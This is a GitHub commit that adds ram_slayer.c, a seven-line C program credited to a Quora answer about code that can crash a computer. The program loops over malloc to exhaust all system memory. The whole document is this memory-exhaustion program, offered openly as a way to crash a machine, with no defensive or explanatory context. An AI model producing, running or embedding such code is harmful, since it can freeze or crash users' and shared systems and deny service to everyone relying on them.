ram slayer

This commit is contained in:
Minhas Kamal
2016-12-14 00:11:59 +06:00
committed by GitHub
parent 42b2edc9af
commit 307fc558fb

7
ram_slayer.c Normal file
View File

@@ -0,0 +1,7 @@
// Source: https://www.quora.com/What-is-your-smallest-piece-of-code-that-can-crash-the-computer/answer/George-Gonzalez-5?srid=u2HNX
// Usees up all of RAM.
int main(){
while(malloc(1000));
return 0;
}